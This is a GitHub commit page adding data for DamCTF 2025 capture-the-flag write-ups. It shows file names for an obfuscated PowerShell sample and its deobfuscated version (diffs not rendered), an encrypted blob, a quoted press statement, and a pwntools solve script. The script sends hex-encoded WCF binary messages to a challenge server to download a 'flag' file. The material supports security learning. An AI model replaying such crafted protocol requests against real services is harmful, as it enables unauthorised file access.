Skip to content

Commit 5c5c288

Browse files
committed
dam-ctf-2025: add more challenges
1 parent f14a2bc commit 5c5c288

File tree

9 files changed

+589
-4
lines changed

9 files changed

+589
-4
lines changed

content/sec/dam-ctf-2025-data/bash_ps1/bash.ps1

Lines changed: 62 additions & 0 deletions
Large diffs are not rendered by default.

content/sec/dam-ctf-2025-data/bash_ps1/bash_deobfuscated.ps1

Lines changed: 278 additions & 0 deletions
Large diffs are not rendered by default.

content/sec/dam-ctf-2025-data/bash_ps1/enc

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Salted__��1�Pc����:g�J��G�(;o��o$��zek� ߇��9o4�e��,a�#W 0݊�K�Gxv'��Q
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
I understand that, without my agreement, Alpine F1 have put out a press release late this afternoon that I am driving for them next year. This is wrong and I have not signed a contract with Alpine for 2023. I will not be driving for Alpine next year.
Binary file not shown.
Binary file not shown.
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
from pwn import *
2+
r = remote('complex-file-service.chals.damctf.xyz', 27777)
3+
r.send(bytes.fromhex('0001000102021f6e65742e7463703a2f2f6c6f63616c686f73743a313333372f6e657454637003080c'))
4+
print(r.recvuntil(bytes.fromhex('0b')))
5+
r.send(bytes.fromhex('06fc016e28687474703a2f2f74656d707572692e6f72672f4946696c65536572766963652f47657446696c65731f6e65742e7463703a2f2f6c6f63616c686f73743a313333372f6e65745463700847657446696c657313687474703a2f2f74656d707572692e6f72672f07757365725f696456020b0173040b0161065608440a1e0082ab01441aad8b66607caa8cac458d4ca821970c7099442c442aab1401400350534b0812436f6d706c657846696c655365727669636599133233383437353836323638313930313434353840034352430812436f6d706c657846696c65536572766963658dfd0a384d440c1e0082ab0301560e42050a07420981010101'))
6+
print(r.recvuntil(bytes.fromhex('010101')))
7+
r.send(bytes.fromhex('0692010056020b0173040b0161065608440a1e0082ab01441aad9e425139d74d96479de3d8d6b505d3cc442c442aab1401400350534b0812436f6d706c657846696c655365727669636599133233383437353836323638313930313434353840034352430812436f6d706c657846696c65536572766963658f3dd5b68c00000000440c1e0082ab0301560e42050a07420983010101'))
8+
print(r.recvuntil(bytes.fromhex('010101')))
9+
r.send(bytes.fromhex('06e301492c687474703a2f2f74656d707572692e6f72672f4946696c65536572766963652f446f776e6c6f616446696c650c446f776e6c6f616446696c650e66696c654964656e74696669657256020b0173040b0161065608440a1e0082ab0b441aada0cbac42ea8b4940b087405974547fb2442c442aab1401400350534b0812436f6d706c657846696c655365727669636599133233383437353836323638313930313434353840034352430812436f6d706c657846696c65536572766963658f622368fe00000000440c1e0082ab0301560e420d0a07420f9904666c6167420983010101'))
10+
print(r.recvuntil(bytes.fromhex('010101')))
187 KB
Loading

content/sec/dam-ctf-2025-data/index.md

Lines changed: 237 additions & 4 deletions
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)